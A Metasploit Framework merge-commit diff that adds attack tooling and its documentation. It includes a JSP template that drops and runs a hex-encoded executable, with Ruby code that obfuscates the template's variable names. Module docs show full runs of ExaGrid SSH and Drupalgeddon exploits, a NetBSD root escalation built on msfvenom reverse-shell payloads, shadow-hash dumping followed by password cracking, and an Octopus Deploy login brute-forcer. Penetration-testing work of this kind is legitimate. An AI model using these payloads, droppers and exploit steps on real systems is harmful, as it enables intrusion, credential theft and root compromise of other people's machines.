Merge branch 'master' into bug/7321/fix-ssh-modules

bug/bundler_fix
David Maloney 2016-09-19 15:27:37 -05:00
commit e315ec4e73
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
91 changed files with 1744 additions and 6254 deletions

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.12.24)
metasploit-framework (4.12.27)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -36,6 +36,7 @@ PATH
rex-arch
rex-bin_tools
rex-core
rex-encoder
rex-java
rex-mime
rex-nop
@ -43,6 +44,7 @@ PATH
rex-powershell
rex-random_identifier
rex-registry
rex-rop_builder
rex-socket
rex-sslscan
rex-struct2
@ -243,6 +245,10 @@ GEM
rex-struct2
rex-text
rex-core (0.1.2)
rex-encoder (0.1.0)
metasm
rex-arch
rex-text
rex-java (0.1.2)
rex-mime (0.1.1)
rex-text
@ -256,6 +262,10 @@ GEM
rex-random_identifier (0.1.0)
rex-text
rex-registry (0.1.0)
rex-rop_builder (0.1.0)
metasm
rex-core
rex-text
rex-socket (0.1.0)
rex-core
rex-sslscan (0.1.0)
@ -331,4 +341,4 @@ DEPENDENCIES
yard
BUNDLED WITH
1.12.5
1.13.1

View File

@ -0,0 +1,38 @@
<%%@ page import="java.io.*" %%>
<%%
String %{var_payload} = "%{payload}";
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
%{var_exepath} = %{var_exepath}.concat(".exe");
}
int %{var_payloadlength} = %{var_payload}.length();
byte[] %{var_bytes} = new byte[%{var_payloadlength}/2];
for (int %{var_counter} = 0; %{var_counter} < %{var_payloadlength}; %{var_counter} += 2) {
%{var_bytes}[%{var_counter} / 2] = (byte) ((Character.digit(%{var_payload}.charAt(%{var_counter}), 16) << 4)
+ Character.digit(%{var_payload}.charAt(%{var_counter}+1), 16));
}
FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
%{var_outputstream}.write(%{var_bytes});
%{var_outputstream}.flush();
%{var_outputstream}.close();
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
String[] %{var_fperm} = new String[3];
%{var_fperm}[0] = "chmod";
%{var_fperm}[1] = "+x";
%{var_fperm}[2] = %{var_exepath};
Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
if (%{var_proc}.waitFor() == 0) {
%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
}
File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
} else {
String[] %{var_exepatharray} = new String[1];
%{var_exepatharray}[0] = %{var_exepath};
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray});
}
%%>

View File

@ -1,51 +0,0 @@
<%%@ page import="java.io.*" %%>
<%%
String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
String %{var_data} = "";
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
{
%{var_exepath} = %{var_exepath}.concat(".exe");
}
FileInputStream %{var_inputstream} = new FileInputStream(%{var_hexpath});
FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
int %{var_numbytes} = %{var_inputstream}.available();
byte %{var_bytearray}[] = new byte[%{var_numbytes}];
%{var_inputstream}.read(%{var_bytearray});
%{var_inputstream}.close();
byte[] %{var_bytes} = new byte[%{var_numbytes}/2];
for (int %{var_counter} = 0; %{var_counter} < %{var_numbytes}; %{var_counter} += 2)
{
char %{var_char1} = (char) %{var_bytearray}[%{var_counter}];
char %{var_char2} = (char) %{var_bytearray}[%{var_counter} + 1];
int %{var_comb} = Character.digit(%{var_char1}, 16) & 0xff;
%{var_comb} <<= 4;
%{var_comb} += Character.digit(%{var_char2}, 16) & 0xff;
%{var_bytes}[%{var_counter}/2] = (byte)%{var_comb};
}
%{var_outputstream}.write(%{var_bytes});
%{var_outputstream}.close();
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
String[] %{var_fperm} = new String[3];
%{var_fperm}[0] = "chmod";
%{var_fperm}[1] = "+x";
%{var_fperm}[2] = %{var_exepath};
Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
if (%{var_proc}.waitFor() == 0) {
%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
}
File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
}
else
{
String[] %{var_exepatharray} = new String[1];
%{var_exepatharray}[0] = %{var_exepath};
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray});
}
%%>

View File

@ -0,0 +1,27 @@
## Vulnerable Application
ExaGrid devices having a firmware before version 4.8 P26 contain a known ssh private key, and root password
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/linux/ssh/exagrid_known_privkey`
3. Do: `set rhost <ip>`
4. Do: `exploit`
5. You should get a shell.
## Scenarios
This is a run against a known vulnerable ExaGrid device.
```
msf > use exploit/linux/ssh/exagrid_known_privkey
msf exploit(exagrid_known_privkey) > set rhost 1.2.3.4
rhost => 1.2.3.4
msf exploit(exagrid_known_privkey) > run
[+] Successful login
[*] Command shell session 3 opened (140.172.223.184:39269 -> 1.2.3.4:22) at 2016-07-23 10:03:19 -0400
ExaGrid diagnostic tools are available in this shell.
02:05:49 up 12 days, 9:12, 0 users, load average: 3.32, 2.88, 9.21
```

View File

@ -0,0 +1,57 @@
## Vulnerable Application
Drupal 7.31 official [download](https://ftp.drupal.org/files/projects/drupal-7.31.tar.gz)
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/drupal_drupageddon`
4. Do: `set rhost <ip>`
5. Do: `run`
6. You should get a shell.
## Scenarios
This is a run against a Drupal 7.31 linux box.
```
msf > use exploit/multi/http/drupal_drupageddon
msf exploit(drupal_drupageddon)
msf exploit(drupal_drupageddon) > set rhost 1.1.1.1
rhost => 1.1.1.1
msf exploit(drupal_drupageddon) > set verbose true
verbose => true
msf exploit(drupal_drupageddon) > exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Testing page
[*] form_build_id: form-a1VaaaEaa0lUvL79wIAfdQEaaJRw8P7a1aWGXElI_Go
[*] form_token:
[*] password hash: $P\$8zAAApjTciVA2qz7HdAA0UjAAwUft00
[*] Creating new user AaCaUlLaPR:AAgeAAAAjA
[*] Logging in as AaCaUlLaPR:AAgeAAAAjA
[*] cookie: SESS911797186fac11111d08b1111a15db55=aaSfinhC0AAAAbzhAoO3bBaaOerRrvpn3cL0rA77Dhg;
[*] Trying to parse enabled modules
[*] form_build_id: form-YZljDkG8n5AAaAaAaaaYGLaP8MIfdif5VfwjQMMxdN0
[*] form_token: Bj92oAaAaWRwqyAAAySWQpeUI03aA9wfkAozXsk_t_E
[*] Enabling the PHP filter module
[*] Setting permissions for PHP filter module
[*] form_build_id: form-1Z1pAg11amM-1jHALgm1AAAAA1JdwAAA1qXnSTZahPA
[*] form_token: kAA1A1AfqK_PvJQi1AAAAAAAAxyGyLvHemBor1q11Z1
[*] admin role id: 3
[*] Getting tokens from create new article page
[*] form_build_id: form-_-leQaaaAAeBXbAaAAaaAAx1IrYSI1qeA2OGf2Ce1vs
[*] form_token: Ib1y8aAaaAAAdapA53kUcfWf7msTRHiDUb_CIKzAAAA
[*] Calling preview page. Exploit should trigger...
[*] Sending stage (33721 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:45388) at 2016-08-25 11:30:41 -0400
meterpreter > sysinfo
Computer : drupal
OS : Linux drupal 2.6.32-642.3.1.el6.x86_64 #1 SMP Sun Jun 26 18:16:44 EDT 2016 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: apache (48)
```

View File

@ -0,0 +1,203 @@
## Vulnerable Application
NetBSD 7.0.1 is available from the [official](http://cdn.netbsd.org/pub/NetBSD/NetBSD-7.0.1/images/NetBSD-7.0.1-amd64.iso) site, or on an [unofficial git](https://github.com/h00die/MSF-Testing-Scripts/blob/master/NetBSD-7.0.1-amd64.iso)
## Issues
Getting an initial shell that can write files correctly was difficult. The best I found was reverse_openssl.
Payloads that didn't work:
* cmd/unix/reverse - connected back, but couldn't write file.
```
[*] Started reverse TCP double handler on 172.16.152.1:4444
[*] Writing Payload to /tmp/zrWqhXpL
[*] Max line length is 131073
[*] /usr/bin/printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] /usr/bin/printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] perl -e 'print("\0\377\376\101\102\103\104\177\45\45\15\12")' Failed: "perl: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] gawk 'BEGIN {ORS="";print "\x00\xff\xfe\x41\x42\x43\x44\x7f\x25\x25\x0d\x0a"}' </dev/null Failed: "gawk: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] echo '00fffe414243447f25250d0a'|xxd -p -r Failed: "xxd: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[*] echo -ne '\x00\xff\xfe\x41\x42\x43\x44\x7f\x25\x25\x0d\x0a' Failed: "-ne \\x00\\xff\\xfe\\x41\\x42\\x43\\x44\\x7f\\x25\\x25\\x0d\\x0a\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
[-] Exploit failed: RuntimeError Can't find command on the victim for writing binary data
[*] Exploit completed, but no session was created.
```
* cmd/unix/reverse_awk - `awk: syntax error at source line 1`
* cmd/unix/reverse_bash - `./bsd.payload: 1: Syntax error: Bad fd number`
* cmd/unix/reverse_bash_telnet_ssl - `$ telnet: unknown option -- z`
* cmd/unix/reverse_ssl_double_telnet - `$ telnet: unknown option -- z`
* cmd/unix/reverse_lua - `lua: (command line):1: module 'socket' not found`
* netcat, node, perl, php, python, php, ruby, zsh - all not installed by default
* bsd/* didn't seem to work either, maybe its for freebsd?
Payloads that did work:
* cmd/unix/reverse_openssl
## Verification Steps
1. Start msfconsole
2. Get an initial shell
1. Create working shell, scp it over
```
./msfvenom -p cmd/unix/reverse_openssl lhost=172.16.152.1 -f raw -o /tmp/bsd.payload
scp /tmp/bsd.payload user@172.16.152.128:/tmp/
```
2. Setup msf to handle
```
use exploit/multi/handler
set payload cmd/unix/reverse_openssl
set lhost 172.16.152.1
exploit
```
3. Run the shell from NetBSD
```
$ cd /tmp
$ ls
bsd.payload
$ chmod +x bsd.payload
$ ./bsd.payload
$ WARNING: can't open config file: /etc/openssl/openssl.cnf
depth=0 CN = vgekg
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = vgekg
verify return:1
```
4. Receive the shell and background it
```
[*] Started reverse double SSL handler on 172.16.152.1:4444
[*] Starting the payload handler...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo NwNHAEiJioYIvn4M;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "NwNHAEiJioYIvn4M\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.152.1:4444 -> 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400
^Z
Background session 1? [y/N] y
```
3. Do: `use exploit/unix/local/netbsd_mail_local`
4. Do: `set payload cmd/unix/reverse_openssl`
5. Do: `set lhost 172.16.152.1`
6. Do: `set verbose true`
7. Do: `set session 1`
8. Do: `exploit`
9. You should get a *root* shell.
## Options
**ATRUNPATH**
File location of atrun, defaults to `/usr/libexec/atrun`
**MAILDIR**
Location of mail folder, defaults to `/var/mail`
**WritableDir**
Location of a writable directory for our payload, defaults to `/tmp`
**ListenerTimeout**
Since this exploit utilized a cron which has a 10min timer, the listener timeout needs to be 10min + padding. Defaults to `603` seconds (10min, 3sec)
## Scenarios
Here is a run against a virgin install of `NetBSD 7.0.1 NetBSD 7.0.1 (GENERIC.201605221355Z) amd64` (from the unofficial link at the top)
In this example, I got lucky and only had to wait ~1min for the cron to hit, which is every 10min by default
1. Get an initial shell
1. Create working shell, scp it over
```
./msfvenom -p cmd/unix/reverse_openssl lhost=172.16.152.1 -f raw -o /tmp/bsd.payload
scp /tmp/bsd.payload user@172.16.152.128:/tmp/
```
2. Setup msf to handle
```
use exploit/multi/handler
set payload cmd/unix/reverse_openssl
set lhost 172.16.152.1
exploit
```
3. Run the shell from NetBSD
```
$ cd /tmp
$ ls
bsd.payload
$ chmod +x bsd.payload
$ ./bsd.payload
$ WARNING: can't open config file: /etc/openssl/openssl.cnf
depth=0 CN = vgekg
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = vgekg
verify return:1
```
4. Receive the shell and background it
```
[*] Started reverse double SSL handler on 172.16.152.1:4444
[*] Starting the payload handler...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo NwNHAEiJioYIvn4M;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "NwNHAEiJioYIvn4M\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.152.1:4444 -> 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400
^Z
Background session 1? [y/N] y
```
2. Run the exploit
```
msf exploit(netbsd_mail_local) > set payload cmd/unix/reverse_openssl
payload => cmd/unix/reverse_openssl
msf exploit(netbsd_mail_local) > set lhost 172.16.152.1
lhost => 172.16.152.1
msf exploit(netbsd_mail_local) > set verbose true
verbose => true
msf exploit(netbsd_mail_local) > set session 1
session => 1
msf exploit(netbsd_mail_local) > exploit
[*] Started reverse double SSL handler on 172.16.152.1:4444
[*] Writing Payload to /tmp/pjDkvmGg
[*] Max line length is 131073
[*] Writing 176 bytes in 1 chunks of 618 bytes (octal-encoded), using printf
[*] Writing exploit to /tmp/GHIKGOWX.c
[*] Max line length is 131073
[*] Writing 4898 bytes in 1 chunks of 17162 bytes (octal-encoded), using printf
[*] Compiling /tmp/GHIKGOWX.c via gcc
[*] Starting the payload handler...
[*] Executing at 2016-08-25 19:59:04 -0400. May take up to 10min for callback
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo X6C4UIDx4zmwM0DJ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "X6C4UIDx4zmwM0DJ\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (172.16.152.1:4444 -> 172.16.152.128:65532) at 2016-08-25 20:00:02 -0400
[*] 2016-08-25 20:00:02 -0400
[*] Remember to run: chown root:wheel /usr/libexec/atrun
[+] Deleted /tmp/pjDkvmGg
[!] This exploit may require manual cleanup of '/tmp/pjDkvmGg' on the target
[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX' on the target
[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX.out' on the target
1633029467
TkBWZEPqsRvYvmwNaTcjImhcSzZHOAtY
true
JUqfyioWthnpvyxRJAZosSGQjnLHqPUB
sHXbQbHqFIbnZGoFWlZoppGprWyKwFCr
nDpSrEmQhDuVSxIpILWCOABbMOIAWUTx
whoami
root
```

View File

@ -0,0 +1,130 @@
## Locations Checked
There are many locations that are checked for having evidence of being a virtual machine. The follow is a list of them:
1. (with root access) `/usr/sbin/dmidecode`
2. `/sbin/lsmod`
3. `/proc/scsi/scsi`
4. `cat /proc/ide/hd*/model`
5. `lspci`
6. `ls -1 /sys/bus`
7. `lscpu`
8. `dmesg`
## Verification Steps
1. Start msfconsole
2. Get a session via exploit of your choice
3. Do: `use post/linux/gather/checkvm`
4. Do: `set session <session>`
5. Do: `run`
6. You should get feedback if a virtual machine environment was detected
## Options
**SESSION**
Which session to use, which can be viewed with `sessions -l`
## Scenarios
Typical run against Kali with only one user (root), using ssh_login for initial shell
```
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username root
username => root
msf auxiliary(ssh_login) > set password "test"
password => example_password
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[-] SSH - Could not connect: The connection was refused by the remote host (127.0.0.1:22).
[!] No active DB -- Credential data will not be saved!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'root:test' 'uid=0(root) gid=0(root) groups=0(root) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (127.0.0.1:41521 -> 127.0.0.1:22) at 2016-09-14 00:14:36 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use post/linux/gather/checkvm
msf post(checkvm) > set session 1
session => 1
msf post(checkvm) > run
[*] Gathering System info ....
[+] This appears to be a 'Xen' virtual machine
[*] Post module execution completed
```
A non-virtual machine will have the following output
```
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username root
username => root
msf auxiliary(ssh_login) > set password "test"
password => example_password
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[-] SSH - Could not connect: The connection was refused by the remote host (127.0.0.1:22).
[!] No active DB -- Credential data will not be saved!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'root:test' 'uid=0(root) gid=0(root) groups=0(root) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (127.0.0.1:41521 -> 127.0.0.1:22) at 2016-09-14 00:15:36 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use post/linux/gather/checkvm
msf post(checkvm) > set session 1
session => 1
msf post(checkvm) > run
[*] Gathering System info ....
[*] This does not appear to be a virtual machine
[*] Post module execution completed
```
And a VMwave virtual machine
```
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username root
username => root
msf auxiliary(ssh_login) > set password "test"
password => example_password
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[-] SSH - Could not connect: The connection was refused by the remote host (127.0.0.1:22).
[!] No active DB -- Credential data will not be saved!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'root:test' 'uid=0(root) gid=0(root) groups=0(root) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (127.0.0.1:41521 -> 127.0.0.1:22) at 2016-09-14 00:18:36 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use post/linux/gather/checkvm
msf post(checkvm) > set session 1
session => 1
msf post(checkvm) > run
[*] Gathering System info ....
[+] This appears to be a 'VMware' virtual machine
[*] Post module execution completed
```

View File

@ -0,0 +1,98 @@
## Verification Steps
1. Start msfconsole
2. Get a session via exploit of your choice
3. Do: `use post/linux/gather/hashdump`
4. Do: `set session <session>`
5. Do: `run`
6. You should see the contents of the shadow file
## Options
**SESSION**
Which session to use, which can be viewed with `sessions -l`
## Scenarios
### Obtain Hashes
Typical run against Kali, using ssh_login for initial shell
```
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username root
username => root
msf auxiliary(ssh_login) > set password "test"
password => example_password
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[-] SSH - Could not connect: The connection was refused by the remote host (127.0.0.1:22).
[!] No active DB -- Credential data will not be saved!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'root:test' 'uid=0(root) gid=0(root) groups=0(root) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (127.0.0.1:41521 -> 127.0.0.1:22) at 2016-09-14 00:12:36 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use post/linux/gather/hashdump
msf post(hashdump) > set session 1
session => 1
msf post(hashdump) > exploit
[+] root:$6$eMImGFXb$3eYV4g315Qf2NA1aQ72yMwnM68PapXfCoP74kAb5vmQoqOz7sDTJQEMPUNNjZSEz.E4tXebqvt2iR3W50L8NX.:0:0:root:/root:/bin/bash
[+] test:$6$gsSmzVTM$vxnEAvs2jEhuFtq0yzgCm.p49RmirvyI6HvPXgbLZCtg1sLp5Q2U82U6Gv6i5hz/pcsz882rnLRAyIL24h3/N.:1000:1000:test,,,:/home/test:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20160914003144_default_127.0.0.1_linux.hashes_080983.txt
[*] Post module execution completed
```
This module only works when you are root or have root permisions. If you only have user permission, expect feedback:
```
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username test
username => test
msf auxiliary(ssh_login) > set password test
password => test
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'test:test' 'uid=1000(test) gid=1000(test) groups=1000(test) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (127.0.0.1:44823 -> 127.0.0.1:22) at 2016-09-14 00:24:17 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use post/linux/gather/hashdump
msf post(hashdump) > set session 1
session => 1
msf post(hashdump) > exploit
[-] You must run this module as root!
[*] Post module execution completed
```
### Crack Hashes (John the Ripper)
The stored file can then have a password cracker used against it. In this scenario, we'll use john (the ripper).
```
root@k:/git/metasploit-framework# john /root/.msf4/loot/20160914003144_default_127.0.0.1_linux.hashes_080983.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
test (test)
test (root)
2g 0:00:00:00 DONE 1/3 (2016-09-14 00:32) 40.00g/s 460.0p/s 480.0c/s 480.0C/s test..oo
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

View File

@ -0,0 +1,64 @@
require 'metasploit/framework/login_scanner/http'
require 'json'
module Metasploit
module Framework
module LoginScanner
# Octopus Deploy login scanner
class OctopusDeploy < HTTP
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
CAN_GET_SESSION = true
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# (see Base#set_sane_defaults)
def set_sane_defaults
uri = '/api/users/login' if uri.nil?
method = 'POST' if method.nil?
super
end
def attempt_login(credential)
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
if ssl
result_opts[:service_name] = 'https'
else
result_opts[:service_name] = 'http'
end
begin
json_post_data = JSON.pretty_generate({ Username: credential.public, Password: credential.private })
cli = Rex::Proto::Http::Client.new(host, port, { 'Msf' => framework, 'MsfExploit' => framework_module }, ssl, ssl_version, http_username, http_password)
configure_http_client(cli)
cli.connect
req = cli.request_cgi(
'method' => 'POST',
'uri' => uri,
'ctype' => 'application/json',
'data' => json_post_data
)
res = cli.send_recv(req)
body = JSON.parse(res.body)
if res && res.code == 200 && body.key?('IsActive') && body['IsActive']
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.body)
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end
rescue ::JSON::ParserError
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res.body)
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -29,10 +29,10 @@ module Metasploit
def set_default
self.wordpress_url_xmlrpc = 'xmlrpc.php'
self.block_wait = 6
self.base_uri = '/'
self.chunk_size = 1700
@wordpress_url_xmlrpc ||= 'xmlrpc.php'
@block_wait ||= 6
@base_uri ||= '/'
@chunk_size ||= 1700
end
# Returns the XML data that is used for the login.
@ -110,6 +110,8 @@ module Metasploit
# @param credential [Metasploit::Framework::Credential]
# @return [Metasploit::Framework::LoginScanner::Result]
def attempt_login(credential)
set_default
@passwords ||= [credential.private]
generate_xml(credential.public).each do |xml|
send_wp_request(xml)
req_xml = Nokogiri::Slop(xml)

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.12.24"
VERSION = "4.12.27"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -141,6 +141,17 @@ module Msf::Payload::Apk
raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1."
end
unless File.readable?(File.expand_path("~/.android/debug.keystore"))
android_dir = File.expand_path("~/.android/")
unless File.directory?(android_dir)
FileUtils::mkdir_p android_dir
end
print_status "Creating android debug keystore...\n"
run_cmd("keytool -genkey -v -keystore ~/.android/debug.keystore \
-alias androiddebugkey -storepass android -keypass android -keyalg RSA \
-keysize 2048 -validity 10000 -dname 'CN=Android Debug,O=Android,C=US'")
end
#Create temporary directory where work will be done
tempdir = Dir.mktmpdir

View File

@ -1407,6 +1407,40 @@ require 'msf/core/exe/segment_appender'
read_replace_script_template("to_powershell.hta.template", hash_sub)
end
def self.to_jsp(exe)
hash_sub = {}
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)
payload_hex = exe.unpack('H*')[0]
hash_sub[:payload] = payload_hex
read_replace_script_template("to_exe.jsp.template", hash_sub)
end
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
# payload. The jsp page converts the hexdump back to a normal binary file
# and places it in the temp directory. The payload file is then executed.
#
# @see to_war
# @param exe [String] Executable to drop and run.
# @param opts (see to_war)
# @option opts (see to_war)
# @return (see to_war)
def self.to_jsp_war(exe, opts = {})
template = self.to_jsp(exe)
self.to_war(template, opts)
end
def self.to_win32pe_vbs(framework, code, opts = {})
to_exe_vbs(to_win32pe(framework, code, opts), opts)
end
@ -1500,52 +1534,6 @@ require 'msf/core/exe/segment_appender'
zip.pack
end
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
# payload. The jsp page converts the hexdump back to a normal binary file
# and places it in the temp directory. The payload file is then executed.
#
# @see to_war
# @param exe [String] Executable to drop and run.
# @param opts (see to_war)
# @option opts (see to_war)
# @return (see to_war)
def self.to_jsp_war(exe, opts = {})
# begin <payload>.jsp
hash_sub = {}
hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_data] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_inputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_numbytes] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_bytearray] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
